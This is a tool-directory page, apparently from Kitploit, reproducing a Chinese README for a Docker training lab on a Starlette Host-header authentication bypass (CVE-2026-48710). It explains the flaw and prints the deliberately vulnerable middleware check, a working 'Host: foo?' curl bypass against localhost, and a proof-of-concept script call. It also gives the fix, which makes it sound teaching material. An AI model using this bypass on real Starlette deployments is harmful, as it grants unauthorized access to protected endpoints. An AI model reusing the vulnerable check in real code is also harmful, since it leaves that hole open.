Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
starlette-host-header-lab — Starlette 主机头 URL 混淆实验室(X41-2026-002)- CVE-2026-48710 | Kitploit
工具/GitHubGitHub/xtremebeing/starlette-host-header-lab
漏洞分析Web安全身份验证错误配置学习与教育实验室与实践
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Starlette 主机头 URL 混淆实验室(X41-2026-002)- CVE-2026-48710

查看仓库
12个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Starlette Host-Header URL 混淆实验环境(X41-2026-002)

一个自包含的容器化培训实验环境,用于复现由 X41 D-Sec 披露的 Starlette 认证绕过漏洞。

  • 安全公告: X41-2026-002
  • GHSA: GHSA-86qp-5c8j-p5mr
  • CWE: 436 — 解释冲突 / 函数调用中的不可信输入
  • CVSS: 7.0(高危)
  • 受影响版本: Starlette >= 0.8.3、< 1.0.1(实验环境固定使用 0.37.2)
  • 修复版本: Starlette 1.0.1

⚠️ 仅供授权的安全培训使用。 本应用刻意包含漏洞。请勿将其部署到任何可访问的网络中。


漏洞概述

Starlette 使用原始 ASGI scope["path"] 将请求分发到路由,但在重建 request.url 时,它会将客户端提供的 Host 头以字符串格式化方式拼接到 "{scheme}://{host}{path}" 中——且未根据 RFC 9112 §3.2 对 Host 头进行验证。由于 URL 元字符(?、/、#)可以原样通过,攻击者可以使重建后的路径与路由所用的路径不一致。任何基于 request.url.path 编写的安全检查都可能被绕过,而路由器仍然能够访问到受保护的处理器。

为什么该 PoC 有效

存在漏洞的中间件仅当 request.url.path 为 / 或为空时才放行请求:

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # allowed
return PlainTextResponse("Forbidden", status_code=403)

对 GET /admin 发送 Host: foo?:

组件使用的值
路由器(scope["path"])/admin → 分发到

? 会将其后的所有内容变成查询字符串,因此解析出的路径为空。认证逻辑看到路径为空便直接放行;而路由器仍然会处理 /admin。绕过成功。


运行实验环境

需要 Docker 与 Docker Compose。

root@kitploit:~
docker compose up --build

将启动两个服务:

服务URL行为
vulnerablehttp://localhost:8000可绕过
fixedhttp://localhost:8001已修复(双重防护)

利用漏洞

root@kitploit:~
# Blocked normally:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

或者运行引导式 PoC 脚本:

root@kitploit:~
./exploit/exploit.sh        # attacks :8000 (succeeds)
./exploit/exploit.sh 8001   # attacks :8001 (fails — fixed)

存在漏洞的 /admin 处理器返回的 JSON 响应体让这种混淆清晰可见——请注意 scope_path 与 reconstructed_path 之间的不一致:

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

修复方式

参见 fixed/fixed_app.py。这里采用了两种相互独立的缓解措施:

  1. 使用权威值。 基于 request.scope["path"](即路由器所使用的同一条原始路径)做出认证决策,而不是基于重建后的 request.url.path。
  2. 纵深防御。 TrustedHostMiddleware 会在任何应用逻辑运行之前拒绝意外或格式错误的 Host 头,这与符合 RFC 规范的反向代理(nginx/Apache)在上游所做的行为一致。

实际部署中的修复方式很简单:升级到 Starlette ≥ 1.0.1,该版本会在 URL 重建过程中验证 Host 头。


给工程师的讨论题

  1. 在典型的技术栈中,还有哪些地方会从不可信输入重建出一个值并予以信任?(提示:SSRF 白名单、OAuth redirect_uri、缓存键、由 Host 构建的密码重置链接。)
  2. 为什么在这里“阻止坏路径”(/admin)比“基于路由端点做决策”更脆弱?如果路由不区分大小写,或存在尾斜杠重定向,又会怎样?
  3. 这是 CWE-436(解释冲突)。还有哪些著名的漏洞具有相同的形态?(HTTP 请求走私、Unicode 规范化认证绕过、0.0.0.0-day。)

文件

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # the deliberately vulnerable service
├── fixed/fixed_app.py      # mitigated service for comparison
├── exploit/exploit.sh      # guided proof-of-concept
├── requirements.txt        # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
下载工具
admin()
request.urlhttp://foo?/admin
request.url.path"" → 通过认证检查 ✅